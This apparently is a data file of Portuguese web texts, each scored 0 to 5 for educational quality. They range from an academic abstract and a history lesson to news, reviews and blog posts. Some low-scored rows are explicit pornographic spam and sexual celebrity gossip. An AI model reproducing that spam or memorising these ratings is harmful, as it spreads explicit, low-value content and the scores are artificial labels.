um caminho para o Universo se conhecer. Uma parte do nosso ser sabe de onde viemos, e nós desejamos retornar. E nós podem...",original,original,original,original,4,0.8 +"LAZER E TRABALHO: ANÁLISE DOS INTERESSES DE LAZER DOS SERVIDORES TERCEIRIZADOS DO IFCE – CAMPUS JUAZEIRO DO NORTE | Revista Brasileira de Estudos do Lazer +LAZER E TRABALHO: ANÁLISE DOS INTERESSES DE LAZER DOS SERVIDORES TERCEIRIZADOS DO IFCE – CAMPUS JUAZEIRO DO NORTE +Caio Tavares Arraes https://orcid.org/0000-0001-8362-2195 +Amanda Raquel Rodrigues Pessoa +Marla Maria Moraes Moura +Palavras-chave: Lazer, Trabalho, Terceirização +O presente artigo visa discutir a relação lazer e trabalho a partir das práticas de lazer do trabalhador terceirizado. Com base nos objetivos: analisar e classificar as práticas de lazer dos servidores terceirizados do IFCE – Juazeiro do norte a partir dos interesses do lazer de Dumazedier (1979), utilizou-se uma metodologia qualitativa de caráter exploratório, possibilitando a realização de entrevistas semiestruturadas com 16 servidores terceirizados do IFCE – Juazeiro do Norte, sendo oito participantes do sexo masculino e oito do sexo feminino. Os resultados evidenciaram a prevalência das práticas de lazer nos interesses sociais e físicos e uma baixa frequência de interesses manuais e intelectuais. Deste modo, percebe-se que o sistema produtivo, junto com outras condições, mascara as possibilidades de desenvolvimento do cidadão, potencializando sua precarização nas demais esferas sociais, tornando este tema alvo de constantes investigações, não se limitando aos resultados deste estudo.",original,original,original,original,1,0.2 +"Vingadores Avengers vs Gamma Monsters +Use o para selecionar as unidades de heróis no topo da tela, à esquerda. Selecione o local que a unidade deve se posicionar para barra o avanço dos monstros. Selecione unidades que estão ociosas para que retornem à base. +Seu objetivo é evitar a invasão dos montros radioativos. Use os heróis da Liga dos Vingadores para barra o avanço dos monstros gosmentos.",original,original,original,original,2,0.4 +"Mulher, negra e cientista: as conquistas de Fátima, Doutora em Entomologia e pesquisadora do Ministério da Saúde - Plano Feminino +Mesmo com oportunidades desiguais quando falamos de raça e gênero, conhecemos mulheres poderosas, de diversas áreas, que hackearam o sistema, lutaram para ocupar espaços e hoje são exemplo para as próximas gerações, mostrando que a mulher negra pode, sim, realizar o que quiser. +Hoje, falaremos sobre uma mulher negra, cientista, que está ocupando seus espaços. Fátima dos Santos é Doutora em Entomologia pela Universidade Central da Venezuela e Pesquisadora do Ministério da Saúde e se especializou no estudo da malária. Uma mulher que diz que suas paixões estão em Deus e suas filhas: “São duas mulheres negras, lindas, inteligentes: as minhas filhas. E, por último, meu trabalho com estudo de insetos que causam danos às populações humanas.” +Na infância, Fátima tinha muitos sonhos, mas o principal era ter uma casa. “Queria que ela fosse bonita, grande e na frente do terreno, porque minha casa era pequena e no quintal no fundo da casa dos meus avós paternos.” +A cientista diz que era a menina mais negra das duas famílias de avós. Ela tinha a pele mais escura do que as outras pessoas da família e era também a mais inteligente e mais esperta e, por isto, muito cobrada e castigada. “Quando criança, eu pensava em muitas profissões, quis ser muitas coisas, de professora a modelo, e queria viajar o mundo. Mas tinha verdadeira paixão por insetos. Colecionava libélulas, gafanhotos, besouros, capturava e criava lagartas para vê- las transformarem-se em borboletas. Não tinha muitos brinquedos e não tenho irmãos e viver entre os insetos era minha brincadeira preferida. E essa brincadeira mais tarde, determinou minha profissão. Sou bióloga, ScD em Entomologia (Science da Ciência que estuda insetos)”. +Falamos com a Fátima também sobre ocupar espaços e ela diz que não foi fácil, o caminho que trilhou foi cheio de obstáculos. “Conquistar qualquer espaço diferente de fogão e vassouras para uma mulher negra e pobre é árduo. Sou Pesquisadora do Ministério da Saúde e, em 1984, era a única mulher que possuía nível superior numa das Coordenações do mesmo ministério em Rondônia, onde todos os cargos de liderança eram masculinos. +Meu primeiro coordenador era um médico branco e nordestino. Só isso já dá para imaginar o nível de racismo e discriminação, que era tão grande, que ele fazia reunião técnica e não me convidava, depois cinicamente me dizia ‘eu sabia que tinha esquecido alguém’. Minha opinião não interessava muito. +Fui abrindo meus espaços, demonstrando mais trabalho que os meus colegas. Passava, muito tempo no laboratório, com projetos e colaboração com grandes grupos de pesquisa em instituições nacionais, como a Fundação Oswaldo Cruz, e internacionais como as Universidades de Emory em Atlanta, a Universidade da Flórida, nos Estados Unidos e a Universidade de Wageningen, na Holanda, e isto me abriu muitas portas. +Quando meu chefe percebeu, eu já havia me transformado em Doutora. E a única doutora entre todos. Por esta façanha, muitos colegas deixaram de falar comigo. +Diante de todas essas situações, Fátima tinha dentro de si motivações que a levaram até onde está hoje, e as principais foram viver melhor e mais confortavelmente que os seus pais. “Eu também queria proporcionar uma infância e adolescência às minhas filhas que fosse melhor do que a que eu tive e poder, de alguma forma, melhorar as condições de saúde de pessoas que vivem em locais de pobreza, que convivem com doenças e são negligenciadas.” +Uma das atuações que Fátima considera importante na sua carreira, foi a época em que trabalhou na Odebrecht, tendo feito um grandioso e reconhecido trabalho no controle da malária, durante a construção da hidrelétrica de Santo Antônio, em Rondônia. “Mesmo assim, depois de já ter vasta experiência, meu salário era menor que o dos profissionais masculinos de diversas áreas. E pela minha cor, meu líder dizia que a primeira vez q...",original,original,original,original,4,0.8 +"Opiniões de Cinema: Casa Vazia (2004) +Postado por Mr. Discípulo às 15:40 +Naldemir Melo 30 de setembro de 2011 14:52 +Casa Vazia, é poesia pura. Um filme para ser visto com os olhos da alma. Os personagens principais não falam uma única palavra, porém se entendem perfeitamente. +Um filme sobre solidão e encantamento. A simplicidade da vida fazendo com sejamos invisíveis as coisas banais do cotidiano. Uma linda história de amor. Recomendo. +Mr. Sombra 3 de outubro de 2011 08:59 +Às vezes o silêncio é o melhor a ser ""dito"". Gostei muito desse filme.",original,original,original,original,1,0.2 +"A Escola de Direito de São Paulo da Fundação Getulio Vargas (FGV Direito SP), a Faculdade Cásper Líbero, o Instituto de Defesa do Consumidor (IDEC) e o Instituto Alana uniram esforços e promovem um encontro para debater os desafios e aspectos de mercado e jurídicos do fenômeno de youtubers mirins. +O encontro ocorre amanhã, terça-feira, 27 de março, na sede da FGV Direito SP (Rua Rocha, 233, das 9h às 10h30) e faz parte de uma disciplina conjunta entre as FGV e a Cásper Líbero que reúne 30 alunos de direito e de comunicação para estudar o tema. +Desde a proibição de propaganda direcionada a crianças em TVs abertas, os youtubers mirins tornaram-se uma alternativa atraente para a indústria anunciar seus lançamentos. Porém, essa disseminação esbarra em questões inerentes não só ao modelo de negócios do próprio Youtube, como também em aspectos da regulação, como o Estatuto da Criança e do Adolescente (ECA) e a própria regulação da comunicação. +Para mais informações sobre o tema, acesse http://direitosp.fgv.br/evento/criancas-youtube-aspectos-juridicos-comunicativos-fenomeno-youtubers-mirins +O credenciamento para jornalistas será feito pelo e-mail rui.santos@fgv.br ou pelos telefones 3799-2476 / 9-8175-6932",original,original,original,original,2,0.4 +"Belíssima produção francesa, muito bem feita, as locações são lindíssimas, narra a história de Jean Moulin, ex-prefeito de uma pequena vila francesa, que sofre bárbaras torturas nas mãos dos nazistas em plena Segunda Guerra Mundial, quando os alemães invadem a França e ele é forçado a fazer tudo o que os militares alemães mandam, ao seu redor todos viram traidores, mas ele mantém suas convicções até o fim e morre sem trair sua pátria, um filme muito interessante com duas partes. Seis horas de duração, é também uma história verídica. Emitido pelo canal Eurochannel como um seriado em 4 partes. +Jean Moulin. +Belisima producción francesa, muy bien hecha, las locaciones son hermosas, narra la historia de Jean Moulin, ex-alcalde de una pequeña villa francesa, que sufre barbaras torturas en las manos de los nazistas en la Segunda Guerra Mundial, cuando los alemanes invaden la França y él es forzado a hacer todo lo que los militares ordenan, a su alrededor todos son traidores, pero él mantiene sus convicciones haste el fin y muere sin trair su nación, una película muy interesante con dos partes. Seis horas de duración, es también una história real. +Trecho do Filme.. +Watch this video on YouTube +Compartilhe isso: +Tweet +Compartilhar no Tumblr +Curtir isso: +Curtir Carregando... +CategoriasCinema, Francês +Deixe um comentário Cancelar resposta +O seu endereço de e-mail não será publicado. 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Vivo em Brasília, sou professora de português e espanhol, revisora textual, tradutora e viajante quando sobra um tempinho. +Meu passado me CONDENA +Meu passado me CONDENA Selecionar o mês outubro 2022 (1) novembro 2021 (1) outubro 2021 (1) setembro 2021 (1) julho 2021 (1) março 2021 (1) agosto 2020 (1) março 2020 (1) fevereiro 2020 (1) janeiro 2020 (1) dezembro 2019 (1) novembro 2019 (1) setembro 2019 (1) agosto 2019 (1) julho 2019 (1) junho 2019 (2) maio 2019 (1) abril 2019 (1) março 2019 (1) fevereiro 2019 (1) janeiro 2019 (2) dezembro 2018 (1) outubro 2018 (1) setembro 2018 (2) agosto 2018 (1) julho 2018 (3) junho 2018 (3) maio 2018 (3) abril 2018 (3) março 2018 (3) fevereiro 2018 (2) janeiro 2018 (5) dezembro 2017 (3) novembro 2017 (5) outubro 2017 (4) setembro 2017 (4) agosto 2017 (7) julho 2017 (7) junho 2017 (4) maio 2017 (6) abril 2017 (5) março 2017 (5) fevereiro 2017 (4) janeiro 2017 (5) dezembro 2016 (8) novembro 2016 (6) outubro 2016 (6) setembro 2016 (6) agosto 2016 (4) julho 2016 (8) junho 2016 (9) maio 2016 (4) abril 2016 (3) março 2016 (11) fevereiro 2016 (2) janeiro 2016 (4) dezembro 2015 (6) novembro 2015 (2) outubro 2015 (4) setembro 2015 (3) agosto 2015 (4) julho 2015 (1) junho 2015 (3) maio 2015 (3) abril 2015 (9) março 2015 (8) fevereiro 2015 (7) janeiro 2015 (6) dezembro 2014 (6) novembro 2014 (6) outubro 2014 (14) setembro 2014 (18) agosto 2014 (12) julho 2014 (19) junho 2014 (18) maio 2014 (17) abril 2014 (18) março 2014 (24) fevereiro 2014 (9) janeiro 2014 (23) dezembro 2013 (13) novembro 2013 (8) outubro 2013 (6) setembro 2013 (12) agosto 2013 (9) julho 2013 (15) junho 2013 (8) maio 2013 (6) abril 2013 (6) março 2013 (3) fevereiro 2013 (5) janeiro 2013 (25) dezembro 2012 (21) novembro 2012 (5) outubro 2012 (2) setembro 2012 (6) agosto 2012 (2) julho 2012 (3) junho 2012 (6)...",original,original,original,original,2,0.4 +Fimes Porno safada sensual dando demais em uma foda de noite aonde a gata esta em sua casa sendo comida. Esta puta safada bem sensual esta no porno todo gostoso fodendo com um rapaz que come bom demais a puta nua em uma transa safada e de jeito aonde a gostosa nua fode bom no fimes porno.,original,original,original,original,0,0.0 +"Já parou para pensar como sabemos a ordem em que as coisas aconteceram? Imagine tentar montar um quebra-cabeça gigante sem saber qual peça vem antes ou depois! Para organizar os eventos do passado (e até do presente!), usamos uma ferramenta incrível chamada Linha do Tempo. + +A Linha do Tempo é como uma régua gigante que mede o tempo, só que em vez de centímetros, ela usa anos, décadas, séculos e até milênios! Ela nos ajuda a visualizar quando os eventos importantes da história aconteceram, desde a invenção da roda até a chegada do homem à Lua. Pense nela como uma estrada onde cada marco representa um acontecimento. + +No nosso dia a dia, também usamos a ideia de linha do tempo! Ao contar uma história para um amigo, você organiza os eventos na ordem em que aconteceram, certo? Primeiro, você acordou, depois tomou café, foi para a escola e assim por diante. Essa é uma linha do tempo pessoal! A diferença é que, na História, as linhas do tempo são muito maiores e mostram eventos que afetaram muitas pessoas ao longo de muitos anos. + +Para entender melhor, vamos pensar na história do Brasil. Podemos criar uma linha do tempo que começa com a chegada dos portugueses em 1500, passa pela Independência em 1822, pela Proclamação da República em 1889, até chegar aos dias de hoje. Em cada um desses momentos, podemos adicionar detalhes importantes, como quem eram os líderes, quais eram os costumes da época e quais mudanças aconteceram na sociedade. Assim, a linha do tempo nos ajuda a entender como o Brasil se transformou ao longo dos séculos. + +A linha do tempo não é uma simples lista de datas; ela nos ajuda a entender as relações entre os eventos. Por exemplo, a invenção da imprensa por Gutenberg no século XV teve um impacto enorme na disseminação do conhecimento, o que, por sua vez, influenciou a Reforma Protestante e o Renascimento. Conseguem perceber como um evento pode levar a outro? + +Construir linhas do tempo é uma atividade super legal e pode te ajudar a aprender História de um jeito muito mais divertido! Que tal criar uma linha do tempo da sua própria vida? Ou da história da sua cidade? Ou até mesmo da sua família? Use sua criatividade, pesquise e divirta-se desvendando os mistérios do tempo! + +E para finalizar, pense: como a linha do tempo te ajuda a entender o mundo de hoje? Será que os eventos do passado ainda influenciam nossas vidas? A história está sempre em movimento, e a linha do tempo nos ajuda a acompanhar essa jornada fascinante!",História,Linha do tempo,anos finais (6º ao 9º ano),"O texto introduz o conceito de linha do tempo de forma clara e envolvente, utilizando analogias e exemplos práticos (quebra-cabeça, história pessoal). Explica a importância da linha do tempo para a organização de eventos históricos e sua aplicação no entendimento do desenvolvimento do Brasil. O texto também incentiva a criação de linhas do tempo pessoais e históricas, promovendo o aprendizado divertido e a compreensão das relações entre eventos. A linguagem é acessível e adequada para o ensino fundamental, sem informações complexas.",5,1.0 +"AIJE DO EMPREENDER: relator da ação nega crimes e elegibilidade de Ricardo Coutinho é mantida - Portal Umari - O fato em primeira mão! +Home Política AIJE DO EMPREENDER: relator da ação nega crimes e elegibilidade de Ricardo Coutinho é mantida +AIJE DO EMPREENDER: relator da ação nega crimes e elegibilidade de Ricardo Coutinho é mantida",original,original,original,original,0,0.0 +"Após comentário racista, Giovanna Ewbank posta foto de sua filha e arrasa; veja +A pequena acabou sofrendo um ato preconceituoso durante um vídeo postado na internet. +26/11/2017 22:13 26/11/2017 22:13 +Assista: Após comentário racista, Giovanna Ewbank posta foto de sua filha e arra +No Domingão, Ana Maria Braga relembra da mãe e se emociona: 'uma saudade incrível' Anitta é flagrada conversando com Gabriel Medina em videochamada Com franjinha e cabelo loiro, Isabelle Drummond muda de visual para novela Verão 90 +Ela ainda deixou claro que todas as providências estavam sendo tomadas +Infelizmente o racismo ainda é um grande problema. A filha de Giovanna Ewbank, titi, sofreu um comentário racista terrível, sendo chamada de ‘macaca‘, pela socialite Day McCarthy. Tudo aconteceu durante um vídeo postado pela moça, onde ela desferiu vários comentários preconceituosos contra a filha de giovanna ewbank e Bruno Gagliasso. +Até mesmo alguns fãs da socialite ficaram horrorizados com o que ela disse. Um internauta comentou o vídeo dizendo que todas as pessoas são iguais na graça de Deus, sendo que ele é fiel e justo. +No final, ele ainda pediu para que todas as providências fossem tomadas em relação a esse comentário infeliz feito por McCarthy. +Vários outros internautas também prestaram sua indignação através dos comentários. Em recente entrevista, Ewbank disse que começou a entender melhor sobre o racismo após ter adotado Titi. Segundo ela, sua vida mudou completamente, ela sempre observa os lugares que vai com a criança buscando impedir que algum tipo de Preconceito aconteça. +Ela ainda afirma que a questão racial no país e no mundo ainda é um grande problema que precisa da atenção de todos. +Em julho desse ano, Preta Gil prestou depoimento após sofrer ataques em sua página no Facebook. +Na ocasião, alguns internautas chegaram a fazer comentários preconceituosos e racistas contra a cantora, que não deixou barato e tomou as devidas providências. +Infelizmente, Titi é apenas uma das milhares de vitimas que sofrem por causa de uma coisa totalmente imoral e sem explicação, a cor de sua pele. +Após sofrer preconceito, Titi aparece deslumbrante em foto +Os pais da garota disseram que as devidas medidas estão sendo tomadas contra o ato de preconceito com sua filha. +Para descontrair e reforçar a importância desse assunto, Ewbank postou uma foto em suas redes sociais mostrando a pequena Titi em um momento feliz ao lado da mãe. +Na legenda ela desejou um bom domingo a todos, além de mostrar todo amor e pureza de sua filha de 4 anos de idade. No final, Newbank deixou claro que racismo é crime e que todas as medidas estavam sendo tomadas perante a lei. +Os fãs adoraram a atitude da atriz e aproveitaram para comentar mandando recadinhos em apoio a Titi. Um internauta disse que ela era linda é que Deus iria protegê-la de todos os comentários maldosos feitos por pessoas cruéis. +Titi aparece aproveitando o domingão ao lado da mãe, além de demonstrar toda a sua inocência perante a um assunto tão preocupante e sério.",original,original,original,original,2,0.4 +"O Naviraiense fechou o elenco para o Campeonato Sul-Mato-Grossense ao contratar o atacante Ícaro, de 32 anos. Indicado pelo técnico Rony Aguilar, Ícaro é gaúcho e estava no Lajeadense-RS, onde fez o gol que deu ao clube o título da Copa FGF em 2015 (assista no vídeo acima). Teve passagens por clubes do interior paranaense, como Operário Ferroviário, Cianorte e Foz do Iguaçu. +Além de Ícaro, o Jacaré do Cone Sul trouxe outros dois jogadores a pedido do treinador: o volante David e o atacante Jean. +- As contratações só foram possíveis graças ao apoio do patrocinador máster do clube de 2017, a Campanário - frisou o diretor do clube, Soares Filho. +A estreia do Naviraiense no Estadual está marcada para o dia 1º de fevereiro, no Douradão, contra o atual campeão Sete de Dourados. Antes, a equipe faz um último amistoso contra o time amador do Pradodiesel no sábado, às 17 horas no estádio Virotão.",original,original,original,original,1,0.2 +"BBB20: Marcela comenta sobre o ""documento"" de Daniel +Marcela comenta sobre o “documento” de Daniel e dá risada: “Não achava o buraco” +Sister fez revelações picantes do namorado +Após a eliminação de Daniel do BBB20, Marcela e mais sisters conversam no quarto do líder, e a namorada do gaúcho falou da intimidade dos dois. Surpreendendo as meninas, a médica contou que os dois nunca transaram por problemas na hora ‘H’. +“Eu nem pude ficar líder, dormir sozinha aqui no quarto e fazer um edredom de respeito para essa edição”, Marcela lamentou “Nem a cabecinha, Má?”, Gizelly perguntou. “Não, só uns amassos”, ela respondeu. +A sister continuou, e surpreendeu as colegas. “Ainda bem que ele errava o buraco”, disse aos risos. “Você vai ter muito trabalho com ele, vai ter que explicar para o menino toda a anatomia dos buracos”, disse Thelma, brincando. “Vai ser um prazer”, a médica respondeu. “Eu e Daniel vamos ser os primeiros alunos do curso”, comentou Gabi. +Ainda curiosas por mais detalhes, as sister perguntaram sobre o tamanho do “documento” de Daniel. “Surpreendentemente. Mas eu não vi, né?”. “Roliço? É o que mais importa”, Gizelly quis saber, mas a sister desconversou. Depois a ginecologista disse que “se surpreendeu positivamente”.",original,original,original,original,0,0.0 +"A obsolescência do conhecimento – parte II +Como vimos no texto anterior, o trabalhador tende a ficar obsoleto cada vez mais rápido, especialmente no que diz respeito às Competências Técnicas necessárias à realização de suas atividades. +Uma das formas de se proteger deste desgaste natural, causado pelo inevitável avanço tecnológico, é dominar a teoria por trás da prática, conforme discutido recentemente em A Importância da Teoria. Ao investir em sua Competência Conceitual, o trabalhador consegue, desta forma, não só adaptar-se aos novos ambientes e suas respectivas exigências, mas também ser, ele próprio, o agente desta revolução. +Conceito ou Tecnologia? +Anos atrás as ferramentas de edição de imagens eram parrudas, espaçosas, pouco intuitivas e nada interativas. Hoje elas estão em tablets e smartphones, em variados graus de complexidade, finalidade e usabilidade. Outro dia vi um destes com uma câmera de 40 megapixels. O dono exibia uma foto de um encontro de balonismo em que, num único clique panorâmico, algumas dezenas de imagens eram possíveis, a partir de recortes variados e enquadramentos múltiplos. +Independentemente da tecnologia embarcada ou da quantidade de pixels, a força bruta jamais substituirá o olhar do artista, o senso estético, a composição equilibrada – ou milimetricamente desequilibrada. São aptidões que transcendem hardware e software. Habilidades que se adaptam a versões, sobrevivem a upgrades e reinventam profissões. +Mas por que razão, então, os profissionais preferem a prática à teoria? Simplesmente porque é muito mais fácil – de aprender e de ensinar. Porque teoria envolve raciocínio abstrato, sistêmico, holístico, conceitual. Enquanto isso, a prática vem da imitação, da ferramenta replicável, da tecla de atalho. Monkey see, monkey do. +Do outro lado, os atuais programas de treinamento são quase inteiramente focados nesta última parte, reforçando um círculo vicioso que se retroalimente da sua própria obsolescência, da sua previsível defasagem, da manutenção deste status quo. E algo que as pessoas parecem se esquecer com frequência é que tão fácil quanto trocar as ferramentas é trocar as pessoas que seguram as ferramentas. +No texto seguinte veremos como a Competência Organizacional se deteriora com o tempo e como uma prática comprovadamente ineficaz se perpetua no ambiente de trabalho. Prática esta que, por sinal, até o próximo texto ser publicado você usará pelo menos uma vez – simplesmente porque também não se atualizou. Clique aqui e leia! +3 Comentários +[…] que a cada 36 meses metade do seu conhecimento se deteriora. Intrigou-se ao perceber que todo o seu investimento em conhecimento técnico corre riscos. Surpreendeu-se ao descobrir que brainstorming é uma técnica ruim e defasada. Mas, honestamente, […] +Rodolfo, o problema é que em algumas áreas precisamos das pessoas que são especialistas em sistemas, softwares e coisas mais técnicas. Nem todo mundo pode se dar ao luxo de ficar viajando em inovação, conceitos e essas coisas. Mas de resto é isso aí mesmo.",original,original,original,original,4,0.8 +"Durante o dia, o mais charmoso bairro de BH é uma ilha de sossego. Familiar e católico ao extremo com fama de ser um oásis de tranquilidade na capital mineira. Quando a noite cai, Santê se transforma. O agito invade os botecos e ruas e o burburinho, não muito bom para os vizinhos, entra noite adentro +A Praça Duque de Caxias é o ponto de encontro no bairro mais tradicional de Belo Horizonte (foto: Carlos Altman)",original,original,original,original,1,0.2 +"Adriana Esteves deixa elenco da novela 'Favela Chique', da TV Globo - Purepeople +Adriana Esteves não está mais no elenco de 'Favela Chique', em 6 de agosto de 2014 +Adriana Esteves fez sucesso com a vilã Carminha em 'Avenida Brasil' +Adriana Esteves ganhou férias da TV Globo para descansar a imagem +Adriana Esteves é casada com Vladimir Brichta +Adriana Esteves gosta de correr na orla da praia +Adriana Esteves deixa elenco de 'Favela Chique' +06 agosto 2014 - 16h16 +Zezé Polessa deixa elenco de 'Joia Rara' e é substituída por Ana Lúcia Torre",original,original,original,original,0,0.0 +"Mensagens Instantâneas no Linux +Colaboração: Fagner Gonçalves +Data de Publicação: 19 de Abril de 2004 +Geralmente estes programas são bem suportados em plataforma Windows, pois visam sempre o usuário final. Mas muitas vezes facilitam bastante a comunicação entre membros de um certo grupo, como é o nosso caso, se tornando uma ferramenta bem útil. Assim, como o protocolo para a troca destas mensagens é de conhecimento público, fica fácil aprender a programar os sockets. Com estes recursos ao alcance, desenvolvedores em linux e outros sistemas *NIX têm se empenhado bastante em resolver o problema de comunicação intra-protocolos, ou seja, comunicação entre os diversos protocolos de comunicação existentes. +Assim, desenvolveram um software bastante robusto, chamado GAIM. O GAIM, utiliza as redes dos serviços suportados para se conectar e poder trocar mensagens entre usuários. Desta forma consegue-se trocar mensagens entre usuários de diferentes sistemas operacionais e diferentes serviços, de maneira totalmente integrada. +Este programa, eu tenho testado nos últimos dias, com diversas pessoas, usuárias de diferentes 'programas/protocolos', tendo exibido um excelente desempenho e estabilidade. +A troca de arquivos só é possível entre pessoas que usem o yahoo (meu caso!). Alguns dos protocolos suportados :",original,original,original,original,2,0.4 +"Um dos destaques do mais recente evento da Apple foi um sistema que não é um iPhone nem um iPad. Trata-se do Liam, o robô criado pela empresa para demonstrar iPhones que chegaram ao fim de sua vida útil. Seu propósito é dar um fim mais digno aos componentes do celular do que um lixão a céu aberto, onde ele irá causar um estrago ambiental gigante graças aos materiais tóxicos. +O robô é enorme e não tem absolutamente nada de antropomórfico, sendo, na verdade uma grande linha de montagem. Ele conta com 29 braços especializados, cada um fazendo uma tarefa diferente para a desmontagem total. Alguns braços contam com brocas, outros com chaves de fenda e ventosas. +Um funcionário coloca vários iPhones em uma esteira, que consegue receber até 40 unidades por vez. A primeira parte do processo inclui a remoção da tela do restante da casca traseira. A esteira leva o aparelho para outra parte, onde a bateria é removida. Nesta parte, existe um risco real de que as baterias sejam danificadas ou perfuradas, o que poderia ser perigoso para operadores humanos, mas não para um robô. +Conforme o desmanche acontece, as peças são coletadas de várias formas diferentes. Os parafusos são sugados por tubos e armazenados separadamente. A bandejinha do cartão SIM é jogada em um balde sob o sistema. +A desmontagem completa de um iPhone é concluída muito rapidamente, em apenas 11 segundos, enquanto vários aparelhos passam pelo sistema simultaneamente. A empresa espera concluir os trabalhos em 350 iPhones por hora, com 1,2 milhões de unidades desmontadas por ano. +O processo tem como objetivo separar cada peça, de diferentes materiais, para que o vidro da tela não se mistura com o cobre ou a prata usada nos componentes internos. Depois da desmontagem, estes materiais podem ser vendidos para empresas ou organizações especializadas no reaproveitamento de materiais como níquel, alumínio, cobre, cobalto e tungstênio. Este último metal, usado nos sistemas de vibração dos aparelhos, é especificamente mais importante de ser reciclado, porque ele é considerado um mineral de conflito, minerado na África e costumam financiar conflitos armados na região, especialmente no Congo. +A empresa espera que o trabalho do Liam também incentive os consumidores a forçar outras empresas a adotarem práticas similares para proteção do meio ambiente, que poderia reduzir a exploração dos recursos naturais, que são descartados sem qualquer cuidado depois que o smartphone perde a utilidade alguns anos depois de ser lançado.",original,original,original,original,4,0.8 +"Quando comprei esta blusa da Sweet Girl, fiquei curiosa para conhecer mais sobre a marca, pois eu adoro a blusa e ela quase já saiu andando sozinha, de tanto que eu uso! kkk +A Sweet Girl possui três lojas e uma fábrica com show room em São Paulo, além de representantes por todo o Brasil. +Acesse o site da Sweet Girl e conheça a coleção outono/inverno da marca, que também possui o Blog Sweet Girl (super recomendo!), com dicas bacanas de moda, acessórios, maquiagem, entre outras. Confira! Você também pode acessar a marca pelo Twitter (@marca_sweetgirl), Orkut ou Facebook! +Quero aproveitar também para agradecer pelo carinho da Sweet Girl comigo e pela divulgação do Melissas & Afins! Um grande beijo e sucesso sempre!",original,original,original,original,1,0.2 +"Imagens do show de Roberto Carlos em Feira são prévia para apresentação em Conquista, veja vídeo. – A Gente diz +O estádio Jóia da Princesa,Rei lotouna noite desta sexta-feira (26). Cantor se apresenta neste sábado em Vitória da Conquista. Quase todos os ingressos estão esgotados. +Um show do rei Roberto Carlos em Feira de Santana é sempre um acontecimento. E assim foi nesta sexta-feira (26) quando o “rei” retornou à cidade. As cadeiras do gramado do estádio Joia da Princesa estavam lotadas, além de boa parte da arquibancada. A apresentação dá uma prévia quase exata de como será o show deste sábado (27), no Estádio Lomanto Júnior em Vitória da Conquista. +Roberto Carlos subiu ao palco em Feira com meia hora de atraso cantando a música Emoções. O show estava previsto para começar às 20h30. Em duas horas, ele cantou 25 músicas, dentre elas, ‘Calhambeque’, revivendo a Jovem Guarda, ‘Mulher Pequena’, ‘Lady Laura’ e o novo sucesso da novela da Rede Globo A Força do Querer ‘Sereia’, tema da personagem Ritinha. “Eu recebi uma ligação de Glória Perez para gravar a música. Fazer uma música para Isis Valverde. Imagine como não está a minha cabeça”, disse. Assista: +A enfermeira Lúcia Maria, que já está aposentada, faz parte da caravana do rei percorrendo vários estados. “Acompanho Roberto Carlos desde 1972 e vou aos shows porque ele só canta o amor”, finalizou. O encerramento foi com a música Jesus Cristo. Em seguida, Roberto Carlos começou a distribuir rosas e o público aplaudia de pé. Com informações do Acorda Cidade.",original,original,original,original,1,0.2 +"Descrição: Stoya, o Best New Starlet 2008/2009 está de volta e mais desagradável do que nunca na vitrine Digital Playground, o novo saboroso ""A Taste Of Stoya."" Depois de trabalhar-se em um frenesi, com um par de dedos, Stoya permite Mick Blue terminar o trabalho com a sua língua e galo. Stoya aquece sua cena com James Deen acoplando pecado algum S & M tease antes de oferecer o seu rabo apertado para jogar, hot anal. insaciável fome de James leva para comer fora bichano molhado e burro. Sexy girls Jenna Presley, Mason Moore, Bridgette B e todos querem prazer os seus homens, esperando por nada mais do que um gosto de carregar seu garanhão é salgado em troca.",original,original,original,original,0,0.0 +"Conselho Escolar e solução de conflitos | Pé Na Escola | Educação Política Criativa +Pé Na Escola | Educação Política Criativa | Conselho Escolar e solução de conflitos +Saiba como Conselhos Escolares contribuem para a solução de conflitos na escola. A escola é um ambiente plural, o que não significa que seja imune a conflitos +conselho escolar, conselhos escolares, gestão democrática da escola, legislação educacional, educação política, educação em direitos humanos, pé na escola, direito educacional, alynne nunes, educação na constituição federal, participação dos estudantes, resolução de conflitos, comunidade escolar, resolver conflitos, gestão democrática do ensino, atribuições do conselho escolar +post-template-default,single,single-post,postid-21772,single-format-standard,ajax_fade,page_not_loaded,,select-theme-ver-2.6,wpb-js-composer js-comp-ver-4.9.2,vc_responsive +A escola é um ambiente plural por definição. O fato de ser um ambiente plural, no entanto, não significa afirmar que a escola é imune a conflitos. Assim como eles existem em nossa sociedade, eles também podem ocorrer na escola. A maneira como lidamos com os conflitos, por sua vez, é especialmente relevante para a formação humana: debatê-los, em vez de ignorá-los, pode representar um ganho sem precedentes não só para os estudantes, mas também para a comunidade escolar. +Por outro lado, ignorar os conflitos pode estimular condutas preconceituosas, reproduzir desigualdades que notamos em nossa sociedade, como também afetar a qualidade do ensino oferecido pela escola. Buscar uma solução aos conflitos pode incentivar apoio mútuo entre os alunos, fortalecer sua autoestima, além de permitir o desenvolvimento de habilidades emocionais. +A partir daí, podemos nos questionar: como a escola pode resolver conflitos? +A própria escola possui a autonomia necessária para estimular um ambiente propício para resolução de conflitos. Mais especificamente, o Conselho Escolar pode auxiliar nessa questão, desde que sua composição seja paritária e plural – isto é, deve conter representantes da comunidade escolar: alunos, professores, pais e responsáveis, além dos funcionários da escola. +A existência dos Conselhos Escolares está atrelada ao princípio da gestão democrática do ensino, que determina a participação da comunidade escolar para a tomada de decisões que afetem a escola (LDB, art. 14, II). Parte-se da ideia de que os afetados pela decisão devem participar, o que é, sem dúvida, um exercício democrático muito interessante para os alunos que futuramente se tornarão eleitores. +Sob o ponto de vista jurídico, não há uma norma que regulamente a composição e as atribuições dos Conselhos Escolares, o que fica a cargo de cada instituição e/ou ente federativo; mas há sim estímulo para que as escolas criem seus respectivos conselhos (Meta 19 do PNE)[1]. +Assim, é recomendável que os Conselhos Escolares elaborem suas próprias regras de organização, e consultem, caso necessário, profissional especializado em direito educacional para auxiliar com a tarefa. É importante que as regras do Conselho sejam claras e atendam aos desafios atuais da educação, especialmente para incluir os alunos e as alunas como membros participantes e atuantes. +Por isso, os Conselhos Escolares possuem função primordial no que diz respeito aos conflitos que eventualmente ocorram no ambiente escolar, e mesmo para evitá-los, por meio de ações de conscientização. Trata-se de um ambiente qualificado, capaz de estimular o debate e incluir a comunidade escolar no centro das questões. A escola torna-se então conectada com sua verdadeira função social. +Filme: “Entre os muros da escola” (Entre les mures, Dir. Laurent Cantet, 2008, 128 m.). O longa francês relata os conflitos da escola pública da França contemporânea, cuja boa parte dos alunos são oriundos de países africanos e do Oriente Médio. A diversidade dos alunos em sala de aula é um desafio para o sistema de ensino, pouco adaptado para lidar com as situações de conflito, 